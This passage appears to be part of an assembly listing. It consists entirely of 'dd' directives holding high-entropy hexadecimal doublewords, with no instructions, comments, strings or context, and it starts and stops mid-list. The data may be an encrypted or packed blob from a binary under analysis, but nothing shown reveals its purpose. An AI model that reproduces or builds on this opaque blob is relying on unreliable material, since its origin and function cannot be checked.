0D604B950h dd 5B474667h, 2E4C41BAh, 0F9B8B998h, 7DC6FADFh, 6D728FFDh dd 22A8B11h, 5C15FD02h, 715D7A4Bh, 43A6262h, 35CF457Fh dd 2E2DFFCCh, 7DB39520h, 48320071h, 0A07AED2Dh, 0F80E0D6Fh dd 411B0510h, 326D65CAh, 373622DCh, 93184707h, 4C04AAD5h dd 782C4023h, 40B4ACBFh, 87545808h, 0D534E958h, 0C5FF9B06h dd 0FFA31294h, 138063C9h, 2045B951h, 815C1F6Dh, 142B0B4Fh dd 92F726Ch, 48693512h, 1FC4958h, 0D5C9FC2Dh, 280E4302h dd 56A81177h, 8247DEE4h, 0EEF317A0h, 74AC69Ah, 0E92B42ABh dd 407BADC8h, 3A2E90EFh, 0E2C544D4h, 0C6EA18FBh, 1D74F217h dd 0BD76F369h, 551BDB84h, 0BE13FE1Dh, 9389E2AEh, 54141BADh dd 0E407865Dh, 0DF71D82Fh, 0AC9A4F29h, 26CA4C77h, 8B0E42CBh dd 325F5D96h, 267880AEh, 2550F45h, 219ACB81h, 0D5D662F6h dd 2238471Eh, 5F749F88h, 6D804264h, 0E54A23C9h, 5731CC80h dd 0AE93754h, 0C2B034F7h, 0A6C38CB9h, 90AF4FB7h, 5964E19Ah dd 425A2E0Ch, 18A14E4Ah, 6671E333h, 7A2560D7h, 9C5E250h dd 6B68F796h, 885FE9F2h, 3DB81DC0h, 261E0139h, 100D4D2Dh dd 17B56C6Ch, 32ADBCD8h, 0D25FADEh, 3D84D3A0h, 0EFB871BCh dd 27ACE520h, 8D7883BEh, 6E7A296Ch, 0C6E9185Eh, 68E1C121h dd 0AE19B726h, 82FF5264h, 0D175411Eh, 3F6E031Ah, 7CE23AE2h dd 0E90C0232h, 2546F6EFh, 2744A57h, 60CEFBF2h, 2555615Bh dd 88DF1A3Fh, 5E09086Bh, 16FBD429h, 7A9AE1B4h, 55CFCDFCh dd 0FF1B79A5h, 3868098Ch, 0EF5E6F81h, 0BD3A163Dh, 0ECE9834Dh dd 5C5E311Eh, 2E89B26Ch, 8B3F788Dh, 0DB6D1274h, 683D70AFh dd 3EE162ACh, 6FE6A0E8h, 28356816h, 6E0269EAh, 0FE92CEE2h dd 0F0C457B3h, 3FE7FB1Fh, 6825C420h, 5E175AF7h, 3705FD7h dd 7DF45B05h, 8B5898DAh, 0C25359B7h, 987F2EE6h, 5DB832h dd 354D1D5Bh, 321272A3h, 1D6169Dh, 630C1D7Eh, 18333E9h dd 85DD62B3h, 0ED19C47Eh, 0A50D9FF6h, 0F22A863Fh, 0B38C9F0Fh dd 0C9D6355Bh, 40045AE5h, 0BD55F0BEh, 0BD0DC93Dh, 1735182Ch dd 3D81472Ch, 767E25C7h, 4FF71F7Ah, 0C05092E6h, 0B668560Ch dd 65207102h, 92025CE9h, 0B0157A82h, 79BD69B5h, 51A9D482h dd 529277F3h, 0CD291504h, 6AEF8706h, 834C5802h, 5DFA017Bh dd 0BACEB814h, 0BD32B8E6h, 0ED3F1A65h, 0F9F0142Dh, 0B4F22928h dd 0A66C700h, 560C3549h, 140D4FACh, 6E2ACE3Fh, 0ED8100EBh dd 0F6A4DA5h, 7598D529h, 0CC050883h, 2817398Ah, 363072B9h dd 3202C6C3h, 481B0F3Bh, 0EA5A0FFDh, 0DFE68048h, 907BC424h dd 20440BCEh, 0F6E36384h, 628E940Ch, 0FF8CF4EFh, 0BAC34D92h dd 32B2C187h, 11A0757Ah, 3E9E7255h, 16280D01h, 0E8830C82h dd 4284992Eh, 80002DBAh, 9F281DEFh, 92EB5CD8h, 278AAD06h dd 5BF9880Fh, 327CE1E7h, 53F85CC9h, 7BC90E4h, 0CEFBCB3Ch dd 292048EFh, 0D5278119h, 0AC580884h, 0EA0DB226h, 0C2D440CBh dd 6E4E131Fh, 0E1752352h, 295DB498h, 0C415446h, 9A8B616Bh dd 0C1217F0Dh, 9C7FCF29h, 175A6EB6h, 9DE91060h, 0B2B08045h dd 0D4FB514Bh, 0FD9DEA99h, 0BB5C7CF4h, 33D427B3h, 0F7E590E9h dd 5D17248Ch, 11C7010Eh, 2EA7BB92h, 98FEA9C5h, 0F748CD77h dd 6B4DDD3h, 0E98445A9h, 2916BBF6h, 12DF8BEEh, 93E40FBDh dd 1E46F4E1h, 0C6C18127h, 0C557967h, 192D9BF6h, 38A35C8Fh dd 6980D1A5h, 7A1B3D63h, 76A83CC2h, 0F28082FCh, 0B2E7553Fh dd 0F8BBC427h, 0C9EDC0E0h, 188A0E25h, 473A99B8h, 4124935Ah dd 0B61B7E00h, 4F09AE8Fh, 0BC892CEh, 0D02F5356h, 0F05AA04Ah dd 222FE92Ch, 0B550FE6h, 0A7A3C751h, 40E18E57h, 0CD702925h dd 2D050230h, 8948BFE4h, 0D3199F5Ch, 2BBE714Ch, 80644E76h dd 2860BB08h, 632F3326h, 0BA024310h, 0B97B9A8Fh, 5977CBC2h dd 0F3DFC936h, 81F5EB22h, 29414513h, 0D606A642h, 76FC27C8h dd 0A90ADEEBh, 88772768h, 772710BFh, 585DCF80h, 289653E9h dd 0A8916BBh, 212001E3h, 7B389C7Dh, 55EFEFEh, 893C1EBFh dd 78FAC03Fh, 24FBFC97h, 64DC071Ah, 402507E2h, 0F731AC57h dd 6C35D805h, 5BC76127h, 0BD00B564h, 21A11FECh, 0D8AAF795h dd 4999021Eh, 24C073E9h, 0D64CBB58h, 85AF16AEh, 0A9BF6334h dd 0B1E2B5ABh, 0E128E985h, 66D0FCCCh, 43A85B4Bh, 215F1B1h dd 94567721h, 129CF358h, 440F4008h, 0A150E95Bh, 0FDB2D799h dd 0EE029289h, 72E671DAh, 5456B807h, 0E9DF1069h, 6453763Ch dd 3C32EE58h, 6B8409ECh, 0C4D3F864h, 25138429h, 0EB4394EAh dd 0D8B54205h, 2F6872D8h, 464C7B4Fh, 234F8AF4h, 0BAC026ACh dd 69F84C01h, 9AB7E91Ah, 5169F742h, 5A26F8FDh, 6055828h dd 36BEE916h, 9B8867CDh, 0D62DAEC9h, 8B7FA589h, 0BF30F0E1h dd 6816AAE6h, 1CA347B9h, 313B826h, 35E2813Ah, 0C15E0B88h dd 769005ECh, 8232C801h, 5551E927h, 0D118393Ah, 52F0C03Eh dd 80C0B600h, 0D6F613C6h, 16B10F51h, 0E161C9FEh, 7E93E902h dd 1AE6617h, 8A0925ADh, 3532301Ch, 23491512h, 0F4E9C5C0h dd 41F62D6Eh, 590031FDh, 2C23A02Ah, 2AC18C31h, 0CC392DE2h dd 0BFA95016h, 7BB9F130h, 20AF257Dh, 0D2C1CEF0h, 2B713E01h dd 91E9E58Bh, 71659A9h, 0F6FAC497h, 5812CE4Fh, 402B68EEh dd 42A609C7h, 66068E0Bh, 1D8C6BCCh, 521D687Eh, 0C6ECDE12h dd 3D8E982h, 73D5DFA7h, 0F3FE299h, 0FE1013CBh, 21CC7DACh dd 0F0BD5B6Bh, 0C275164Ch, 10DCB971h, 5327D807h, 529BD6F1h dd 0E9D390FEh, 0CC414B18h, 314EE417h, 0D050D3F2h, 0D1FE52FFh dd 39056305h, 27B40154h, 3C0B56A5h, 52491ED0h, 0A0E5AD89h dd 0AA4063AFh, 0BF2D4E14h, 1FBABB12h, 31DEFA05h, 0A73469B3h dd 71E85FC1h, 120021BDh, 0CD81377Fh, 97414F2h, 2B946875h dd 9D804959h, 0E93EDB2Ch, 3A956F58h, 0AAE4C70Eh, 0C0BCA34Ah dd 0E58BD55h, 4553397Ah, 68819A5Dh, 0F6F933C2h, 0E637C261h dd 71C10102h, 0F1294243h, 164D840h, 0E2389427h, 7633407Fh dd 325481D2h, 9368C256h, 61CCD57Fh, 48349501h, 3FEAE961h dd 2F1DF67Bh, 69147356h, 1B6BCC82h, 8B2D43D2h, 1C856E70h dd 273A8F68h, 41045D5h, 0AEE083E9h, 1FF8828Ch, 492B0379h dd 0CCA153EEh, 215A6665h, 0A64B20DEh, 4440D34Ah, 5E9C63C1h dd 8E2109BAh, 0FA8987B7h, 299DF656h, 0DF13BFA6h, 0EF8013B2h dd 23568D0Fh, 1B532D00h, 0F8295AD0h, 1607A205h, 2BE9129Eh dd 0B2E730E8h, 0EA398055h, 0E6C28930h, 2E680288h, 0DFDBA299h dd 0A828545Bh, 92C8B58Eh, 0FBBFFB29h, 0CFD527A6h, 0F09F96C4h dd 6817522Ah, 2CBA14BDh, 80B5337Fh, 28C4B674h, 526FF2CEh dd 167696FDh, 5D9A21h, 136305BBh, 2507117Fh, 7AA133BEh dd 0C819B250h, 0E3350002h, 8918167Eh, 0D14AE9C5h, 0F4BB81C1h dd 31E60D6Ah, 0FAE342DCh, 5F126A78h, 0F7FFF029h, 67A84A11h dd 17B550B8h, 5D66120Fh, 0B2BE0714h, 0F03183D2h, 0B3952DDh dd 0D77021EAh, 3EFFE182h dd 66E91316h, 0E0ADC952h, 8E9A11F9h, 0EE5CFD72h, 0BE722931h dd 0BC165002h, 0BE37839h, 25E4CBF5h, 2420B1D2h, 1581318h dd 4EBD04CEh, 0C98AF6Ch, 40D24C0Eh, 0E27B12D8h, 0E0AEDC97h dd 419E05EDh, 822D52BFh, 594C5508h, 167D6B20h, 30742568h dd 2CD5B0EFh, 0C508A301h, 0BEF58058h, 30E30689h, 0EB04FA8Bh dd 0CCB707DDh, 56AFBB72h, 0DCA98CB3h, 6402350Ch, 8102A009h dd 0EAA97FEEh, 0F6FC6009h, 0ED40D3A8h, 25E17728h, 5B150E48h dd 412778ACh, 0B67E018Fh, 0D15D2722h, 6EB16354h, 45B82E66h dd 0EEBB050Dh, 0C0467F27h, 0E33A68C0h, 0F4433D3Bh, 750F091Ch dd 8029F465h, 0A915BBCBh, 0FE73E92Dh, 56825F96h, 570DEC5Dh dd 728046F6h, 21664BF3h, 0CCE98BCEh, 0AB4F7AEBh, 59470908h dd 83588882h, 73986805h, 0C956F633h, 1D344B7Dh, 752AFDEBh dd 0F8CB005Bh, 252FD33Bh, 604B140Eh, 76A7A13Dh, 0B02F0A69h dd 0A5390520h, 0AAA04A48h, 0B9F1E4C6h, 0AB58640Dh, 7F33C741h dd 0CE8011CEh, 0A3292E8Ch, 18BECA01h, 5204364Fh, 540F9B35h dd 0EF8859A5h, 0E9BA20CCh, 2CCF883Dh, 1FEC9CDCh, 0D4C6F7D8h dd 0F2B3BE66h, 6E0C6809h, 8162CEF6h, 17222B22h, 4020356h dd 2E165221h, 6E6F0B3Dh, 0AA66E104h, 0F89A5F02h, 0EEC304FEh dd 0C95209F0h, 0C5F41A32h, 4608F760h, 8A564B1Bh, 405D27C7h dd 4F14C22Fh, 70CC008h, 3503E0D1h, 26A31FB9h, 3CEEF02Dh dd 0A15E95F7h, 0D2E82158h, 42E6EBAFh, 3AE9E709h, 572506FCh dd 13240D45h, 0EFC16B1Fh, 0B144E97Fh, 70C762Fh, 0B081DD95h dd 254FE907h, 9DA96A16h, 0F748C2E4h, 87525709h, 0BB2FAE2Ch dd 4728D889h, 895D940Ah, 0E53B6004h, 74054016h, 3241F2Eh dd 0AA59A225h, 2DE9D138h, 0A437BA01h, 1016034Ch, 0AD4EB8ACh dd 40D510F4h, 0F339E909h, 5C95C87Dh, 0B376BFBEh, 0D734358Ch dd 17800FC3h, 0CBAF3EE2h, 9008E81Fh, 330E2299h, 0C7B0FF97h dd 185ED6E9h, 68E188A8h, 16FDE6FCh, 5DE92718h, 759DF278h dd 1BBEE194h, 0AD186552h, 0CF02337Bh, 0E55005E9h, 32F9252Ah dd 5251C16Bh, 7F8B997Eh, 9278DEE1h, 25B4C602h, 0B26033A1h dd 705E58FDh, 1CA0C3F1h, 141CD008h, 13268B4Ah, 9E8478E9h dd 85ADB8BAh, 0B0B83607h, 8C4B60C4h, 0D15A01B4h, 0E9F028AFh dd 0E3A1382Ah, 266172B7h, 82E43B84h, 4527EA55h, 39316075h dd 0A7BE80C1h, 7C302A1Eh, 0E9C21096h, 0C56FB5Fh, 4B441E41h dd 0E05AB5ECh, 0F3686B71h, 80F8373Eh, 668557E0h, 0D54BB4B6h dd 0E9615E65h, 236AA529h, 0E7CA2B4Ch, 0C28141FCh, 0DCF05587h dd 987BDB61h, 0D409E963h, 0D625CE58h, 2508A07Ch, 0CBE6525Eh dd 31A16815h, 0C05B57h, 0BFB33A7Bh, 7F20E05h, 0FC67E907h dd 0A20EC57Fh, 0C5B1FB0Bh, 990106E5h, 58D6682Bh, 282E2749h dd 6E00AD8Eh, 0A4BF43A8h, 95354B20h, 0F7120077h, 4743FB7h dd 0E9FD2134h, 2BBE816h, 227FE4BBh, 1292802Ch, 16E7049Ah dd 0B5B5153h, 51D2A0A5h, 0F30BECFFh, 774E1F7Bh, 0BC6F56ABh dd 0B857B88Fh, 7FDD4144h, 0C9EA0DC5h, 0D69E40B4h, 0F782A21Ah dd 63832442h, 0D0C22EC3h, 5A3AA80h, 810234F3h, 40E64E7h dd 17C04039h, 0A0375B22h, 2C966159h, 0FC0C83E6h, 1D7F600Dh dd 0B23CAFE1h, 0BE564A01h, 245B0875h, 0CE487178h, 8BB8BC4Ah dd 27114559h, 0E920B075h, 0B1F794F7h, 28945884h, 0E368822Bh dd 0CB6B5962h, 0FFA6EEFFh, 31B0AB14h, 74E92D51h, 6D590489h dd 0C0F4CDE2h, 3883AD7Eh, 0EA48207Fh, 530BFB18h, 1E2FA3EEh dd 38FED088h, 38B51A6Ah, 0C096FB0Ch, 0CC72BF0Ch, 0F6BA522Dh dd 0E377A721h, 0CFE9F8E9h, 6887C295h, 0ECF61245h, 0C818D46h dd 25A5BFBAh, 98679B94h, 6562492Eh, 91FB7627h, 99EE4E10h dd 0BF78443Eh, 54E0FE95h, 24B24BF5h, 90A9EFF8h, 2AC2D06Fh dd 0D4753E22h, 9942455h, 0D230D029h, 1F19C605h, 2D1A73AAh dd 7FE90741h, 0A63A7D65h, 775C8C60h, 35101FBEh, 0F506FC6Bh dd 978BE95Eh, 0B8E65A4Ah, 9FE08C3Eh, 8A49CFE1h, 54ED315Eh dd 4B88DF10h, 0E24DEFFh, 1255A468h, 0A8E7AEh, 33DEED81h dd 2FE979A3h, 18C5F746h, 8066B200h, 9708C0EAh, 4F8696FFh dd 0EFFAC474h, 0FD2590F2h, 0E9064E45h, 92BF208h, 674D5DEAh dd 9827637Dh, 4FD35776h, 2C6AAC19h, 0D81157Ch, 32952516h dd 0FA051270h, 0FFC7274Ah, 84174F5Dh, 0AAF017E9h, 5F7B82A6h dd 3B8EB112h, 0B0B5E5E8h, 12177645h, 61913654h, 0A2E6A3E9h dd 0DD7894A6h, 2CBC96E5h, 1A1032CBh, 39D82116h, 0C7457A94h dd 74AB359Dh, 0BA0BFADCh, 0A95F5AACh, 133E4B01h, 7EB6BBDDh dd 0CF52E9C2h, 0DFF9A47Dh, 317C62C3h, 10DDBFAh, 0C1C160F5h dd 813730B7h, 255202E2h, 0DAF76A29h, 0FB001E76h, 79E99FFEh dd 0A9999568h, 3B93605Bh, 20B4B086h, 61902337h, 5F2B7104h dd 0D104092Eh, 0CAB6BE92h, 28527A42h, 89CFFED6h, 10B0A64Eh dd 592CA05Eh, 0F8363943h, 1A9F9409h, 8C28092Dh, 2FE90D0Ch dd 0F7AB842Ah, 0E47E2B7Fh, 650205B3h, 0F35C2903h, 0E90C405Fh dd 3E603337h, 0B551D800h, 0CD801FCEh, 815952D7h, 2BE328AFh dd 261261BFh, 6B6735F2h, 3E322EA0h, 6778D129h, 63433407h dd 0C095F95h, 0F63DA568h, 7B45CF4Ch, 160AF330h, 0FAFCED80h dd 0F48F0692h, 0EBFA64F1h, 0F5283B39h, 6632C375h, 0D5680A59h dd 0A1AF6A4Bh, 7882E950h, 11BE0EFBh, 5661C702h, 491D9DB2h dd 0A02EF2A6h, 0AE2D24D5h, 646ED650h, 4F40AB29h, 8611AD8Dh dd 1E0A5AE9h, 64D425C5h, 28701E08h, 97ADB2FDh, 0A9CB31C8h dd 1C8C0710h, 0C70BB901h, 97DE313Ch, 0C8FB407Eh, 201E809h dd 3C240548h, 6B20EBA7h, 0FD0C13BFh, 0B06DE870h, 5848297Bh dd 68C2332Dh, 215E4636h, 0A6059560h, 0F3810F0Ch, 1981082Ch dd 2AC011E9h, 78109BE3h, 4CC5853h, 70791973h, 5E080B24h dd 304C34D5h, 0ED41F132h, 0A2D96A2h, 0D1E04214h, 82F06BA7h dd 0F02487A7h, 128CE85Ah, 9B91B7DEh, 0CB053B09h, 27EA6F37h dd 82D5364Bh, 1133F50Bh, 805FB09h, 880B0A46h, 62B27DEFh dd 0ECAC405Dh, 0A14DB265h, 0B3FD6997h, 0EE381F0h, 57DA3CEBh dd 0C315DDDh, 7D0C2049h, 8C6D7E38h, 0AE0A56E9h, 96BF0BBh dd 5C316678h, 84A29CDDh, 1835513Dh, 522D1C26h, 3A1EDDB1h dd 8BAEA912h, 0EBBC4F05h, 0B20E6284h, 0AA0C88E8h, 3CD59568h dd 95F99D0Ch, 1F5424CBh, 542947F8h, 42B44813h, 5C5D6DE1h dd 48F97384h, 51E33F08h, 57F950h, 0B35B8E68h, 52565F63h dd 9175DCF1h, 47BC4E4Fh, 0FCD01676h, 0FEFF85F2h, 0CF00CE1Fh dd 157E6A25h, 0E6D34E9h, 0B4AFEC58h, 0F182F8BBh, 0EA2E5358h dd 6942DD29h, 685D00FAh, 0ACA644B8h, 0D80E0E90h, 0D3395A11h dd 0C7615700h, 0BBB5854h, 0D07E87CEh, 0BBE74005h, 4BAE6E98h dd 844FE2E8h, 890434C5h, 0AA6882EAh, 0E0006EC4h, 0F7775330h dd 98E6C1D6h, 0BD465DC9h, 0EDC05A01h, 30CDFE06h, 4597018Fh dd 0D2DA3075h, 620B521Ch, 590CC8E9h, 0A81B3C5Ch, 0BACD8F54h dd 644287E1h, 4AB34A36h, 0BC4AFDBDh, 0F6D2B2D7h, 0AF52BF93h dd 0BE0120DBh, 53665A5Ch, 0B9658B9h, 4CA78B31h, 7E49803Bh dd 4E0142F1h, 4068D4Ch, 97B5BE0Ch, 5235AF2Eh, 168E5C0h dd 0C141AB22h, 75C273C7h, 0FDADE853h, 6B024E39h, 0BCF419B8h dd 9E6872Eh, 4067FD09h, 0BBA05112h, 3352174Eh, 0A2921207h dd 0B6B98096h, 0C1F8CCADh dd 317CD484h, 77BA3019h, 1E405A17h, 52FFAAA0h, 890CE137h dd 993C1920h, 3445FE12h, 0BDCBEAh, 6E5D4798h, 7D673DBEh dd 90E91286h, 0F20C915Bh, 0ED23F57Fh, 0ADCBBD72h, 5B0969C7h dd 0D24F827Ah, 49B33B58h, 54144BE2h, 0EED78BE4h, 0EDC1C501h dd 8069704h, 6C0088ECh, 0EE316FAAh, 5701055Dh, 0E946AC7Ah dd 4F7C4124h, 28D02CF0h, 0EAE9F80Dh, 6F448AEFh, 3FF5EAC1h dd 3494ADEFh, 79A7F5AEh, 32AAF4E8h, 20E428CCh, 97EDD420h dd 234AA5E7h, 33D1F78Bh, 0F40D4B7Dh, 604EA7E3h, 5040D8h dd 3759BF57h, 5DB85415h, 0CD050BC0h, 142B2056h, 72DF829h dd 5EF6F75Fh, 0E96E03BFh, 0FB407D05h, 0AC9A56A8h, 33094702h dd 852D5802h, 0DC05E06h, 906FEA55h, 30440D52h, 7A0C6920h dd 4FE908A4h, 5AE2FCEBh, 7BDC39FFh, 1712DDE3h, 0A831BFFDh dd 35783DCDh, 0D989AB93h, 9F05A2F8h, 0FF03E8D9h, 0E1FDBA11h dd 0AF65554Fh, 83A50838h, 168DF9C5h, 7605FAC9h, 6DFCE054h dd 3C51558Bh, 7288A5Bh, 942D6453h, 3A23894Bh, 0B004A7A5h dd 0E909C7CEh, 0ACEA8ABh, 0C3EAF783h, 421C97F6h, 14FBDA6Dh dd 0CCB07B13h, 9CDC3217h, 0DC975034h, 1DEC2CC6h, 6C79E53h dd 995FE9F9h, 5051899Ch, 0ACC99EFCh, 0BFC1EC42h, 0E962B4F9h dd 16425058h, 442A7968h, 972227h, 0F02807B6h, 815A6366h dd 0F8A2D7F6h, 0CE51677h, 84EB8028h, 0E9179506h, 0A3F740CBh dd 325F57Bh, 0F2C3AD2Bh, 22EB725Ch, 0CF074E70h, 712A187Dh dd 4A693BB2h, 74EDC020h, 0D4F9B5FCh, 9F685540h, 0B0B6756Fh dd 0EFF5016Ch, 0F7621750h, 0C36330DDh, 0C12624BAh, 0DCAF3DE5h dd 0FCC0072h, 6D6819F1h, 9936C9Dh, 6CED6FF8h, 6CC4D875h dd 0EB609F04h, 3E997E9Dh, 29C9A7Eh, 50F5C380h, 0F05FFDB4h dd 5DDF700Ah, 0AB97E2E3h, 10E0E310h, 592F1629h, 9207A2FCh dd 4579991Bh, 27D9246Bh, 0E9B7DADAh, 0E76F176Ah, 27931787h dd 332AD3E9h, 0A5BE4ABFh, 0CD89EAE5h, 5F88B574h, 0F751047Eh dd 66F9EA14h, 0FE28D49Bh, 0CE0BDD90h, 0F68450Ah, 491F20D4h dd 5301E939h, 0BA104097h, 0FAA9503Fh, 0B9B2F15Fh, 3EF1E54Bh dd 0AC1B1FBDh, 80C03F57h, 2C25EAF1h, 3AF77ED7h, 0EFCCE909h dd 0AA477D04h, 4EF9A685h, 53531F17h, 0C34004BEh, 0B172192Eh dd 248E0DA0h, 528D0293h, 264C6F75h, 0AD5E12AAh, 0EADC1A95h dd 8820547Eh, 6B282D45h, 528C4C4Eh, 0B15178E1h, 0E45E3368h dd 453401E8h, 61DFDB8h, 31DF1AF2h, 5EA95852h, 69EA8180h dd 134A2E5Eh, 804BCB5h, 0BB0D81FEh, 0E6C981CEh, 66C2468Eh dd 18CD0C82h, 5C755FF5h, 69F601F0h, 3B42763Bh, 750B6402h dd 50887677h, 1A4F5CE9h, 2E684C8Ch, 0E1552D52h, 512F5E9h dd 4E6F80FAh, 85ED37C8h, 60842FEh, 7132B6F0h, 31FF95FEh dd 0A77E5B79h, 7AD5C5E2h, 55CF36F8h, 40766A45h, 67ED2DDFh dd 1141F98h, 90705D8h, 0DF04875Bh, 226AC61Ah, 554A3B64h dd 840F49C0h, 0A20C4B4Bh, 49F04852h, 0A5532479h, 0D94D2902h dd 0D620Ah, 0CE6214D2h, 2E014177h, 3ECB11F4h, 48AC23FCh dd 54CF1161h, 634018BEh, 0F42F5D68h, 74D0593h, 0CF4CB879h dd 973A2E64h, 91C811EEh, 0E586E917h, 73833059h, 4A67F659h dd 810428E0h, 11D27E2Dh, 0FDBE4251h, 0A9571D2Bh, 4C178B4Ah dd 85F72D24h, 0AE5034A9h, 6D7E6600h, 24B6257Ch, 52302CCh dd 0DFB3DBDEh, 23F09441h, 9AAC5B74h, 9400DF45h, 15B7ACFh dd 0ED814D71h, 3E840591h, 2FE9DBE0h, 0DBA0172Eh, 28C615A4h dd 229FDAFAh, 0DF503595h, 2A8C5C30h, 0C2BEF3DBh, 57818B0Eh dd 68842247h, 7AEC1B7Dh, 23C476D0h, 7BE12A0h, 37D1072Dh dd 0DF5BC246h, 373CEA2h, 6127680Ah, 0F57BBF3Eh, 3A96EECh dd 50AFE65Fh, 0F5886EBAh, 0C3763349h, 0BFE9EB82h, 0BC9745FAh dd 2BB16C4h, 6FE629EBh, 131F2B93h, 0BF02C645h, 0D0075C35h dd 0F5B97766h, 0F10EFEF2h, 0A43BB304h, 8CE4CA01h, 2775B4A8h dd 7D7D89F7h, 2F0C522Dh, 16025EA5h, 7787E280h, 0CC829873h dd 0C2371A77h, 3DE57FE3h, 0FD9E774Bh, 162E601h, 709AE964h dd 0A00A373Eh, 0F7367450h, 84E6A4C1h, 0F42EBD47h, 0B40A66EBh dd 85C6832Ch, 0D2F873Ch, 92DE3A9Bh, 0B37A78F1h, 173488D3h dd 0AAA6575Eh, 85B78D77h, 0A62E3EDDh, 0AA680B06h, 0A0E7C532h dd 4BF00BBAh, 0DF7072B7h, 0BA0FD9Ch, 0E9187BB0h, 6897BCC4h dd 3B5874B1h, 0BA89525Bh, 1F544171h, 0A048F0Ch, 189920C2h dd 6D5AE21Fh, 6DBC1DFh, 0E99BD827h, 5087F198h, 0D230BF5Bh dd 58554DA7h, 87F701DFh, 0E9440D42h, 0E77FD248h, 2D5C07BBh dd 165A1201h, 7DD08D7h, 244CBF3Ah, 0F504AD27h, 0ADEAFFA1h dd 0D791E29Fh, 75F4C8ECh, 40FC174Fh, 37F50093h, 29508A2Eh dd 40E5EB78h, 3C78E908h, 5EF2AEA8h, 0D91D4798h, 15E05FBh dd 0BCD75A60h, 15BB0652h, 140D16F0h, 0AF49DA35h, 840FA62Eh dd 0FED830ACh, 0B252D560h, 0D1881401h, 5602BF5Ah, 279E92Dh dd 8041E1DEh, 4CECCCE4h, 0F5199F6Dh, 5AD3C08Fh, 88FEDAE0h dd 0C5D5C8B5h, 78763872h, 6E37C0E3h, 0AACB373Bh, 0C481B9F4h dd 20CAFBD2h, 0D12C6075h, 0BCFA95E6h, 180F1505h, 25E15631h dd 0ADF84943h, 0E99A68BFh, 5E426149h, 0B86538EEh, 0A005370Bh dd 62150915h, 0B44D598Ch, 4F8C928Ah, 619DA1C0h, 321EF3Bh dd 6E2E86E7h, 38185819h, 296FFE09h, 7C6A687Dh, 9C3EAB36h dd 0D614C91Eh, 0D2F569F5h, 30F1BB00h, 0B34E1228h, 7497E4B2h dd 0B38C4F60h, 6EEC5F14h, 0F3A92A54h, 0DB01BF7Dh, 355D05C4h dd 847F340Bh, 340712EAh, 592A928Bh, 4DF9567Dh, 8BE47DE3h dd 58DEC006h, 0E780B529h, 1D6D7C7Bh, 748DADB4h, 8E23A10Dh dd 0F7097C27h, 0A8A8E5DDh, 7CD802F8h, 0CF2948BCh, 208E7C09h dd 245A680Bh, 5B9E4118h, 1701C105h, 22996831h, 0D8002836h dd 0C1655749h, 0F49008EAh, 25F0DD77h, 95CE0CC1h, 0F13ADAFAh dd 61B62B1Ah, 0E9C3ED52h, 0C55851CAh, 89DB2D01h, 0E3F25500h dd 23D499F4h, 23D24AA5h, 0A297E357h, 3DC5D7E7h, 16A7280Ch dd 0F6A0C7C0h, 0E78AA6D2h, 4660BD00h, 0CD812EB9h, 4A0E244Eh dd 0EAE501D2h, 711E1250h, 2B108287h, 0C01BEB23h, 5F53B680h dd 0AD2E0AEh, 17DEF90Bh, 7648DF29h, 0ACB23F02h, 0BF0637Ah dd 1B75B3A0h, 544D422Fh, 53F058F3h, 0E91B7704h, 0E8A8BA5Eh dd 0FA2FA7C4h, 0A63B2439h, 0E9AC4BB6h, 0BE8C1B0h, 0C044E92Dh dd 131ABE8Fh, 0AF26F016h, 3939AEF4h, 4FD9802Fh, 960B701h dd 21F7017Ch, 2F846578h, 8A356FB0h, 9A3C3E54h, 0D44055ECh dd 1B6202B7h, 0F1554D18h, 41E909C8h, 56484278h, 342A4FA2h dd 0FB215E09h, 51820671h, 0DD26D6E9h, 11CA4F1Bh, 0B107CE74h dd 0B284803Ah, 56A11FBAh, 81A24BB3h, 1FAE6B75h, 5632650Ch dd 7831C076h, 775C6B43h, 2A3905E8h, 0CEAB0A21h, 56BC5FF9h dd 0FF1F1519h, 0FFA3AF5h, 9184C778h, 0D639908Eh, 0FEA1F287h dd 2C5A28E7h, 0DD2588DAh, 0E9D5D40Ch, 0F274392Ch, 0DD6857C2h dd 895F1570h, 2E0F2DFBh, 0FA94F537h, 4AEA40C1h, 0A6C1AB05h dd 5A7047E1h, 0AE66D68Bh, 2DE9D828h, 95CC29EDh, 2F559B81h dd 626A98CDh, 50D07FCFh, 7A33FEB5h, 0F16B02DFh, 56D10B96h dd 0FB555C42h, 0F38208C2h, 0C218F427h, 0BEDF921Bh, 7D769D5Bh dd 0B7AB42C4h, 0C73D7B66h, 65B9FC90h, 50F57A2Fh, 0EACCB45Ah dd 5F7D276Ah, 13040B72h dd 29CB8F6Eh, 41C7A9BFh, 32E1048Ah, 9F5E795Dh, 0B6DA3E27h dd 12E99D95h, 9CA2EFDEh, 1DB44B79h, 28370361h, 0D09A58E2h dd 43DCEE62h, 6617CE81h, 92207183h, 7CE50540h, 0AC9AE9DBh dd 68AF4EB9h, 0D8502806h, 0FBBF6CC7h, 120A1135h, 0E13471B4h dd 2AAFD1BAh, 0D37D38DCh, 63DD1901h, 0E9305D8Dh, 0A474BD02h dd 2DCE1808h, 0F16B00FDh, 5E832C1Ah, 0EE39D066h, 3D5F1FB1h dd 5F326BB0h, 125DF2C5h, 7DBAC4A4h, 0C8C53033h, 1798482h dd 295FF920h, 6B568195h, 0A12DFEE4h, 0EF3E24Eh, 13103868h dd 8BD9F3EBh, 10B5E75Ch, 7633482Ch, 4BBD275Bh, 5E119085h dd 16190E13h, 5ACAFE17h, 448110h, 6B631C51h, 0D2E560E9h dd 42792AA8h, 10E9090Dh, 445DA07h, 9C62BCEAh, 7C24C011h dd 774C4752h, 4561482Ch, 0CB0A7A08h, 5B1317C2h, 0A1AB9BD4h dd 0A5D86862h, 24E9D638h, 0B07DFBFFh, 4D76B3F0h, 90275FB8h dd 9825C41Ch, 15F350B5h, 0C00A1FEEh, 0B0DD27C6h, 4AFDE923h dd 0C08FB82Fh, 0D967F5BBh, 0BBC986Fh, 0E83104Dh, 0B4613D62h dd 0DBA3CB87h, 7160864h, 28E3E280h, 9C20B43h, 0BD65DEBh dd 0D0019F02h, 0EF62C047h, 1E9916DEh, 1F20AEC8h, 9D0AC1E9h dd 0F0556DA9h, 2BF5F704h, 51419A25h, 0FF048DAFh, 1934E481h dd 895B0EA7h, 0F401E962h, 5551697h, 0FA3C7A81h, 2F7CB308h dd 31270E58h, 69A17CC7h, 28BAE8DFh, 5A6603F3h, 0F65BDD08h dd 6FE58098h, 26C5FE32h, 8ABF008Eh, 6A27AF78h, 0ED8F8A01h dd 27386B08h, 379F3802h, 422DFE61h, 0D3F95E07h, 4E3B77A4h dd 0E2BB1D64h, 